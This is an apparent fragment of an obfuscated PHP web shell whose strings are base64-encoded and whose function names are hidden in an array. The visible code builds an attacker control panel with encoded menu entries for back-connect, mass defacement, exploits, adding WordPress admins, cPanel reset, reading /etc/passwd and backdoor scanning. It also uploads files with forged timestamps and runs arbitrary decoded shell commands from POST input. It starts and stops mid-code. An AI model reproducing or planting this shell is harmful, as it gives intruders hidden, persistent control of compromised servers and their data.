RkJBUUFBUUozQUFFQ0F4RUVCU0V4QmhKQlVRZGhjUk1pTW9FSUZFS1JvYkhCQ1NNelV2QVZZbkxSQ2hZa05PRWw4UmNZR1JvbUp5Z3BLalUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2Z29PRWhZYUhpSW1La3BPVWxaYVhtSm1hb3FPa3BhYW5xS21xc3JPMHRiYTN1TG02d3NQRXhjYkh5TW5LMHRQVTFkYlgyTm5hNHVQazVlYm42T25xOHZQMDlmYjMrUG42LzlvQURBTUJBQUlSQXhFQVB3RGUwVDltcnduNDYvWVovWXZzZkR2N0Z2OEFZL2pEeFpwVnRhTDR6LzRRL3dBQWFsL3dsZDVMOFB0YmFLNzhpNTFSVGVZdWhGcWZsYWtJRmsreGZPVm44dU51ZjhlZUEvaFQ4RnYyVlAycmZBL2pqOWxMdy9KOFZwTksxTzAwUFhMdlFQaDFvMS9ZWGxqOE90RG52YnUxc29kV2FXTHk1bWsxYVNMU1V1RmdXK0RLVE1aSTE1LzRRL3RzMytrZkEvOEFaMTA5ZjJqZnNNUHd1MHJRN3Z3bGIvOEFDei9oeEQ5b3ZHK0cydW1lMDhxWFNtbTBiN05mK1JvL202dTF3cmZiOXhCbUNTTHovd0MwQiswQm92eEY4RmZHaldOWStOSGgvd0FRK0lQRU9sZUpidS92N3Z4OThNcjIvd0REbDVQOE10QmpOcGFsTklGMXFYMjY3RTJpU1M2SkphcVYwOEVqemQ3c0FmL1oiPjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0i') . decno(wb('eDhHc3ZiU1NlSHpEdkthOGJ0TERlOGEyckxXMnVuZTJ6bnlscnFyR2Q3RFN3QT09')) . wb('Ij4KCQk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMC4wL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQtR241Mzg0eHFRMWFvV1hBKzA1OFJYUHhQZzZmeTRJV3ZUTmgwRTI2M1htRmNKbFNBd2lHZ0ZBVy9kQWlTNkpYbSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PHNjcmlwdCBzcmM9Ii8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMy4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSIvL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjAuMC9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1KWlI2U3Blamg0VTAyZDhqT3Q2dkxFSGZlL0pRR2lSUlNRUXhTZkZXcGkxTXF1VmRBeWpVYXI1Kzc2UFZDbVlsIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvbm90aWZ5LzAuNC4yL25vdGlmeS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hbmltZWpzLzIuMC4yL2FuaW1lLm1pbi5qcyI+PC9zY3JpcHQ+PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSI=') . decno(wb('eDhHc3ZiU1NlSHpEdkthOGJ0TERlOGEyckxXMnVuZTJ6bnlhdWFLN3RIdkN3S3M9')) . wb('Ij48bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NvZGVtaXJyb3IvNi42NS43L2NvZGVtaXJyb3IubWluLmNzcyI+PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzYuNjUuNy90aGVtZS9tb25va2FpLmNzcyI+CgkJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci82LjY1LjcvdGhlbWUvZHJhY3VsYS5taW4uY3NzIj48c2NyaXB0IHNyYz0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci82LjY1LjcvY29kZW1pcnJvci5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSIvL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9jb2RlbWlycm9yLzYuNjUuNy9hZGRvbi9lZGl0L21hdGNoYnJhY2tldHMubWluLmpzIj48L3NjcmlwdD48c2NyaXB0IHNyYz0iLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY29kZW1pcnJvci82LjY1LjcvYWRkb24vc2VsZWN0aW9uL2FjdGl2ZS1saW5lLm1pbi5qcyI+PC9zY3JpcHQ+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImNvcm9uYSI+PG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbWQgbmF2YmFyLWRhcmsgYmctZGFyayIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij4='); if (isset($_GET[wb('ZA==')])) { $d = rehex($_GET[wb('ZA==')]); $GNJ[2](rehex($_GET[wb('ZA==')])); } else { $d = $GNJ[3](); } $k = $GNJ[4](wb('LyhcXHxcLykv'), $d); echo wb('PGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBpZD0ibmF2YmFyTmF2Ij48dWwgY2xhc3M9Im5hdmJhci1uYXYiPiA8bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+PGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iPyI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRRUFZQUJnQUFELzJ3QkRBQUlCQVFJQkFRSUNBZ0lDQWdJQ0F3VURBd01EQXdZRUJBTUZCd1lIQndjR0J3Y0lDUXNKQ0FnS0NBY0hDZzBLQ2dzTURBd01Cd2tPRHcwTURnc01EQXovMndCREFRSUNBZ01EQXdZREF3WU1DQWNJREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBei93QUFSQ0FBUUFCQURBU0lBQWhFQkF4RUIvOFFBSHdBQUFRVUJBUUVCQVFFQUFBQUFBQUFBQUFFQ0F3UUZCZ2NJQ1FvTC84UUF0UkFBQWdFREF3SUVBd1VGQkFRQUFBRjlBUUlEQUFRUkJSSWhNVUVHRTFGaEJ5SnhGREtCa2FFSUkwS3h3UlZTMGZBa00ySnlnZ2tLRmhjWUdSb2xKaWNvS1NvME5UWTNPRGs2UTBSRlJrZElTVXBUVkZWV1YxaFpXbU5rWldabmFHbHFjM1IxZG5kNGVYcURoSVdHaDRpSmlwS1RsSldXbDVpWm1xS2pwS1dtcDZpcHFyS3p0TFcydDdpNXVzTER4TVhHeDhqSnl0TFQxTlhXMTlqWjJ1SGk0K1RsNXVmbzZlcng4dlAwOWZiMytQbjYvOFFBSHdFQUF3RUJBUUVCQVFFQkFRQUFBQUFBQUFFQ0F3UUZCZ2NJQ1FvTC84UUF0UkVBQWdFQ0JBUURCQWNGQkFRQUFRSjNBQUVDQXhFRUJTRXhCaEpCVVFkaGNSTWlNb0VJRkVLUm9iSEJDU016VXZBVlluTFJDaFlrTk9FbDhSY1lHUm9tSnlncEtqVTJOemc1T2tORVJVWkhTRWxLVTFSVlZsZFlXVnBqWkdWbVoyaHBhbk4wZFhaM2VIbDZnb09FaFlhSGlJbUtrcE9VbFphWG1KbWFvcU9rcGFhbnFLbXFzck8wdGJhM3VMbTZ3c1BFeGNiSHlNbkswdFBVMWRiWDJObmE0dVBrNWVibjZPbnE4dlAwOWZiMytQbjYvOW9BREFNQkFBSVJBeEVBUHdEZTBUOW1yd240Ni9ZWi9ZdnNmRHY3RnY4QVkvakR4WnBWdGFMNHovNFEvd0FBYWwvd2xkNUw4UHRiYUs3OGk1MVJUZVl1aEZxZmxha0lGayt4Zk9Wbjh1TnVmOGVlQS9oVDhGdjJWUDJyZkEvamo5bEx3L0o4VnBOSzFPMDBQWEx2UVBoMW8xL1lYbGo4T3REbnZidTFzb2RXYVdMeTVtazFhU0xTVXVGZ1crREtUTVpJMTUvNFEvdHMzK2tmQS84QVoxMDlmMmpmc01Qd3UwclE3dndsYi84QUN6L2h4RDlvdkcrRzJ1bWUwOHFYU21tMGI3TmYrUm8vbTZ1MXdyZmI5eEJtQ1NMei93QzBCKzBCb3Z4RjhGZkdqV05ZK05IaC93QVErSVBFT2xlSmJ1L3Y3dng5OE1yMi93RERsNVA4TXRCak5wYWxOSUYxcVgyNjdFMmlTUzZKSmFxVjA4RWp6ZDdzQWYvWiIgdGl0bGU9ImV0aGljYWwiIGFsdD0iZXRoaWNhbCI+PC9hPiA8L2xpPjxsaSBjbGFzcz0ibmF2LWl0ZW0gYWN0aXZlIj4gPGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('aW5mbw==')) . wb('Ij5JbmZvPC9hPiA8L2xpPjxsaSBjbGFzcz0ibmF2LWl0ZW0gYWN0aXZlIj4gPGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('bWFzcw==')) . wb('Ij5NYXNzWDwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+IDxhIGNsYXNzPSJuYXYtbGluayBhangiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('bmV0d29yaw==')) . wb('Ij5CYWNrQ29ubmVjdDwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+IDxhIGNsYXNzPSJuYXYtbGluayBhangiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('ZXZ2YWw=')) . wb('Ij4zdmFsPC9hPiA8L2xpPjxsaSBjbGFzcz0ibmF2LWl0ZW0gYWN0aXZlIj4gPGEgY2xhc3M9Im5hdi1saW5rIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('Y2dp')) . wb('Ij5DR0k8L2E+IDwvbGk+PGxpIGNsYXNzPSJuYXYtaXRlbSBhY3RpdmUiPiA8YSBjbGFzcz0ibmF2LWxpbmsgYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('ZXhwbG9pdGVy')) . wb('Ij5FeHBsb2l0czwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSBkcm9wZG93biBzaG93Ij4gPGEgY2xhc3M9Im5hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('YXV0b190b29scw==')) . wb('IiBpZD0iZHJvcGRvd25NZW51TGluayIgZGF0YS10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJ0cnVlIj4gVG9vbHMgPC9hPiA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IiBhcmlhLWxhYmVsbGVkYnk9ImRyb3Bkb3duTWVudUxpbmsiPiA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('YXV0b190b29scw==')) . wb('Ij4jIyMgQWxsIFRvb2xzICMjIzwvYT48ZGl2IGNsYXNzPSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj48YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('YWRkdXNlcndw')) . wb('Ij5BZGQgQWRtaW4gV1A8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y3BhbmVsLXJlc2V0')) . wb('Ij5DcGFuZWwgUmVzZXQ8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c3ltbGluaw==')) . wb('Ij5TeW1saW5rPC9hPiA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('Y29uZmln')) . wb('Ij4vZXRjL3Bhc3N3ZDwvYT4gPGEgY2xhc3M9ImRyb3Bkb3duLWl0ZW0iIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('aW5qZWN0YmRzcWw=')) . wb('Ij5IaWRkZW4gQkQ8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPT9kPQ==') . hex($d) . wb('Jg==') . hex(wb('emlwLW1lbnU=')) . wb('PiBaaXAgTWVudTwvYT4gPC9kaXY+PC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSI+IDxhIGNsYXNzPSJuYXYtbGluayBhangiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('cHJvY2Vzc3g=')) . wb('Ij5Qcm9jY2VzczwvYT4gPC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIGFjdGl2ZSBkcm9wZG93biBzaG93Ij4gPGEgY2xhc3M9Im5hdi1saW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbm5lcg==')) . wb('IiBpZD0iZHJvcGRvd25NZW51TGluayIgZGF0YS10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJ0cnVlIj4gU2Nhbm5lcnMgPC9hPiA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IiBhcmlhLWxhYmVsbGVkYnk9ImRyb3Bkb3duTWVudUxpbmsiPiA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbm5lcg==')) . wb('Ij5BbGwgU2Nhbm5lcjwvYT48ZGl2IGNsYXNzPSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj48YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('cG9ydC1zY2FubmVy')) . wb('Ij5Qb3J0IFNjYW5uZXI8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('Ij5CYWNrZG9vciBTY2FubmVyIDE8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoy')) . wb('Ij5CYWNrZG9vciBTY2FubmVyIDI8L2E+IDxhIGNsYXNzPSJkcm9wZG93bi1pdGVtIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoz')) . wb('Ij5CYWNrZG9vciBTY2FubmVyIDM8L2E+IDwvZGl2PjwvbGk+PGEgY2xhc3M9Im5hdi1saW5rIGFqeCBhY3RpdmUiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('dGVtdWthbkZpbGVz')) . wb('Ij5TZWFyY2g8L2E+IDwvbGk+PGxpIGNsYXNzPSJuYXYtaXRlbSBhY3RpdmUiPiA8YSBjbGFzcz0ibmF2LWxpbmsgYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bG9nb3V0')) . wb('Ij5Mb2dvdXQ8L2E+IDwvbGk+PC9saT48L3VsPjwvZGl2PjxkaXYgY2xhc3M9InkgeCI+PGEgaHJlZj0iPyIgY2xhc3M9ImFqeCI+PGgyIGNsYXNzPSJtbDIgbGV0dGVyIj4=') . X . wb('PC9oMj48L2E+PC9kaXY+PHN1cD4=') . MURTAD . wb('PC9zdXA+PGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLXRhcmdldD0iI25hdmJhck5hdiIgYXJpYS1jb250cm9scz0ibmF2YmFyTmF2IiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPjxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+PC9idXR0b24+PC9uYXY+PGRpdiBjbGFzcz0idSI+PGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48bGFiZWwgY2xhc3M9ImwgdyI+PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJuW10iIG9uY2hhbmdlPSJ0aGlzLmZvcm0uc3VibWl0KCkiIG11bHRpcGxlIGNsYXNzPSJmb3JtLWNvbnRyb2wgbXItMyI+PC9sYWJlbD4mbmJzcDs8L2Zvcm0+PC9zdHlsZT4='); $console = wb('aGVhZGVyX2JhY2t1cC5waHA='); $scanps = wb('Zm9vdGVyX2JhY2t1cC5waHA='); if ($GNJ[26]($console) || $GNJ[26]($scanps)) { echo wb('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHNob3dfcG9wdXAoKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicG9wdXAiKS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9d2luZG93Lm9ubG9hZD1zaG93X3BvcHVwOzwvc2NyaXB0PjxzdHlsZT4jcG9wdXB7cG9zaXRpb246YWJzb2x1dGU7ZGlzcGxheTpub25lO3RvcDoyMHB4O2xlZnQ6NTAlO3dpZHRoOjUwMHB4O21hcmdpbi1sZWZ0Oi0yNTBweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjO3BhZGRpbmc6MjBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7ZGlzcGxheTpibG9jazt6LWluZGV4OiA5OTk5O308L3N0eWxlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBzaG93X3BvcHVwKCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBvcHVwIikuc3R5bGUuZGlzcGxheT0iYmxvY2sifXdpbmRvdy5vbmxvYWQ9c2hvd19wb3B1cDs8L3NjcmlwdD48ZGl2IGlkPSJwb3B1cCI+PGgyIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtYWxpZ246Y2VudGVyOyI+UGFrYWkgYXRhdSBIYXB1cyE8L2gyPg=='); } if ($GNJ[26]($console)) { echo wb('PGJyPjxjZW50ZXI+PGEgY2xhc3M9ImJ0biBidG4taW5mbyBidG4tc20iIGhyZWY9ImhlYWRlcl9iYWNrdXAucGhwIiB0YXJnZXQ9Il9ibGFuayI+Q2xpY2sgQ29uc29sZTwvYT4g'); echo wb('IDxhIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4tc20gYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('Y29uc29sZW9mZg==')) . wb('Ij5IYXB1cyBDb25zb2xlPC9hPjwvY2VudGVyPiA='); } if ($GNJ[26]($scanps)) { echo wb('PGJyPjxjZW50ZXI+PGEgY2xhc3MgPSAnYnRuIGJ0bi1pbmZvIGJ0bi1zbSBhangnIGhyZWYgPSAnP2Q9') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('Jz5CYWNrZG9vciBTY2FubmVyPC9hPg=='); echo wb('IDxhIGNsYXNzPSJidG4gYnRuLWRhbmdlciBidG4tc20gYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbm9mZg==')) . wb('Ij5IYXB1cyBCYWNrZG9vciBTY2FubmVyPC9hPjwvY2VudGVyPg=='); } if ($GNJ[26]($console) || $GNJ[26]($scanps)) { echo wb('PC9kaXY+'); } $o_ = array(wb('PHNjcmlwdD4kLm5vdGlmeSgi'), wb('IiwgeyBjbGFzc05hbWU6IjEiLGF1dG9IaWRlRGVsYXk6IDIwMDAscG9zaXRpb246ImxlZnQgYm90dG9tIiB9KTs8L3NjcmlwdD4=')); $f = $o_[0] . wb('4pyFICBTdWNjZXNzIQ==') . $o_[1]; $g = $o_[0] . wb('4p2MIEZhaWxlZCE=') . $o_[1]; if (isset($_FILES[wb('bg==')])) { $z = $_FILES[wb('bg==')][wb('bmFtZQ==')]; $r = count($z); for ($i = 0; $i < $r; $i++) { if ($GNJ[5]($_FILES[wb('bg==')][wb('dG1wX25hbWU=')][$i], $z[$i])) { echo $f; @$GNJ[25]($z[$i], $GNJ[33](wb('LQ==') . rand(30, 150) . wb('IGRheXM='), time())); } else { echo $g; } } } echo wb('PC9kaXY+PGRpdiBjbGFzcz0iY29yb25hIG1oLTEwMCI+'); echo wb('PGJyPjxhIGhyZWY9Jz8nPkN1cnJlbnQgRGlyZWN0b3J5PC9hPiA6IA=='); foreach ($k as $m => $l) { if ($l == '' && $m == 0) { echo wb('PGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9MmYiPi88L2E+'); } if ($l == '') { continue; } echo wb('PGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9'); for ($i = 0; $i <= $m; $i++) { echo hex($k[$i]); if ($i != $m) { echo wb('MmY='); } } echo wb('Ij4=') . $l . wb('PC9hPi8='); } $dnya = "{$d}/"; $dbener = $GNJ[14](wb('Ly8='), wb('Lw=='), $dnya); print " &raquo; <code>{$dbener}</code>"; echo wb('IFs8YSBocmVmPSIvLw==') . fullURL($d) . wb('IiB0YXJnZXQ9Il9ibGFuayI+JiN4MjM0Njs8L2E+XQ=='); print wb('PGJyPg=='); if (!$s_win) { echo wb('PGZvcm0gbWV0aG9kPSJwb3N0Ij48YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1zbSI+R08gVE88L2J1dHRvbj48aW5wdXQgaWQ9ImNvcHktdGV4dCIgc3R5bGU9ImJvcmRlcjogbm9uZTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMGZmMDA7IiB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgaGVpZ2h0PSIxMCIgdmFsdWU9Ig==') . $dbener . wb('IiBuYW1lPSJjaHhkaXIiPiA8aW5wdXQgY2xhc3M9ImJ0biBidG4td2FybmluZyBidG4tc20iIHR5cGU9InN1Ym1pdCIgbmFtZT0iZG9fZGlyIiB2YWx1ZT0iR28iPjwvZm9ybT4='); } if (isset($_POST[wb('ZG9fZGly')])) { $guantidirnya = $GNJ[14](wb('Ly8='), wb('Lw=='), $_POST[wb('Y2h4ZGly')]); if ($GNJ[22]($guantidirnya, -1) == wb('Lw==')) { $guantidirnya = $GNJ[22]($guantidirnya, 0, -1); } if (!$GNJ[8]($guantidirnya)) { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); die; } else { echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($guantidirnya) . wb('Ij4='); die; } } print OS() === wb('V2luZG93cw==') ? windisk() : ''; echo wb('PGRpdiBjbGFzcz0ic2VtcHJvdG5hIj48ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsiPjxhIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgYnRuLXNtIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jm4iPitORVdGSUxFKzwvYT4gPGEgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('JmwiPitORVdESVIrPC9hPg=='); if ($GNJ[26](wb('L3Vzci9sb2NhbC9jcGFuZWwvdmVyc2lvbg=='))) { echo wb('IDxhIGNsYXNzPSJidG4gYnRuLWRhcmsgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y3BhbmVsLXJlc2V0')) . wb('Ij5jUGFuZWw8L2E+'); } echo wb('PC9kaXY+PGRpdiBzdHlsZT0iZmxvYXQ6IHJpZ2h0OyI+IDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('c2lnbmF0dXJl')) . wb('Ij4mIzkzMTI7IFRlYmFyQkQ8L2E+CiAgIDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('bWFzc190b29s')) . wb('Ij4mIzkzMTM7IFNjcmFtPC9hPiA8YSBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1zbSBhanggIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('TG9ja2Rvd24=')) . wb('Ij4mIzkzMTQ7IExvY2s8L2E+IDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y3JvbnRhYg==')) . wb('Ij4mIzkzMTU7IENyb248L2E+IDxhIGNsYXNzPSJidG4gYnRuLXdhcm5pbmcgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y2hlY2tzZW8=')) . wb('Ij4mIzkzMTY7IFNFTzwvYT4gPGEgY2xhc3M9ImJ0biBidG4taW5mbyBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('Y29uc29sZW9u')) . wb('IiB0YXJnZXQ9Il9ibGFuayI+Q29uc29sZTwvYT4KICAg'); if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { echo wb('PGEgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBhanggIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bWQ1eG9mZg==')) . wb('Ij5XQVIgT0ZGPC9hPg=='); } else { echo wb('PGEgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBhanggIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bWQ1eG9u')) . wb('Ij5XQVIgT048L2E+'); } echo wb('PC9kaXY+PC9kaXY+IA=='); if (isset($_POST[wb('ZG9fY21k')])) { $jadul = b64dd($_POST[wb('Y21k')]); echo wb('PGRpdiBjbGFzcz0nZm9ybS1vdXRsaW5lJz48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3MgPSAnZm9ybS1jb250cm9sJz4=') . $GNJ[15](exe($jadul)) . wb('PC90ZXh0YXJlYT48L2Rpdj4='); } if (isset($_POST[wb('Y21k')])) { $docmd = b64dd($_POST[wb('Y21k')]); } else { $docmd = ''; } echo wb('PGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0ncmV0dXJuIGJ0b2FNUlgoKSc+PGNlbnRlcj4KCQkJCTxmb250IHN0eWxlPSdjb2xvcjp5ZWxsb3c7Jz4=') . $user . wb('JiM2NDs8L2ZvbnQ+PGZvbnQgc3R5bGU9J2NvbG9yOnRyYW5zcGFyZW50O3RleHQtc2hhZG93OiAwcHggMHB4IDRweCAjZmZmOyc+') . gethostbyname($_SERVER[wb('SFRUUF9IT1NU')]) . wb('IDwvZm9udD4mbmJzcDsKCQkJCTxpbnB1dCBzdHlsZT0nYm9yZGVyOiBub25lOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzAwZmYwMDsnIHR5cGU9J3RleHQnIGlkPSdpbnB1dFRleHRZJyBzaXplPSc4MCUnIGhlaWdodD0nMTAnIG5hbWU9J2NtZCcgdmFsdWU9Jw==') . $docmd . wb('Jz48aW5wdXQgc3R5bGU9J2JvcmRlcjogbm9uZTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMGZmMDA7JyB0eXBlPSdzdWJtaXQnIG5hbWU9J2RvX2NtZCcgdmFsdWU9Jz4+Jz4KCQkJCQ=='); if ($GNJ[26](wb('bWFSaQ==')) || $GNJ[26](wb('X3g='))) { echo wb('PGEgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('cjAwdA==')) . wb('Jz5yMDB0Kys8L2E+'); } echo wb('PC9jZW50ZXI+PC9mb3JtPg=='); if (isset($_POST[wb('ZGVsZXRlRmlsZXo=')])) { if (!empty($_POST[wb('Y3Vjb2s=')])) { $checked_count = count($_POST[wb('Y3Vjb2s=')]); echo wb('REVMRVRFRCA=') . $checked_count . wb('IG9wdGlvbihzKTog'); foreach ($_POST[wb('Y3Vjb2s=')] as $selected) { $carinamafileaja = pathinfo($selected); $fname = $carinamafileaja[wb('ZmlsZW5hbWU=')]; $ename = 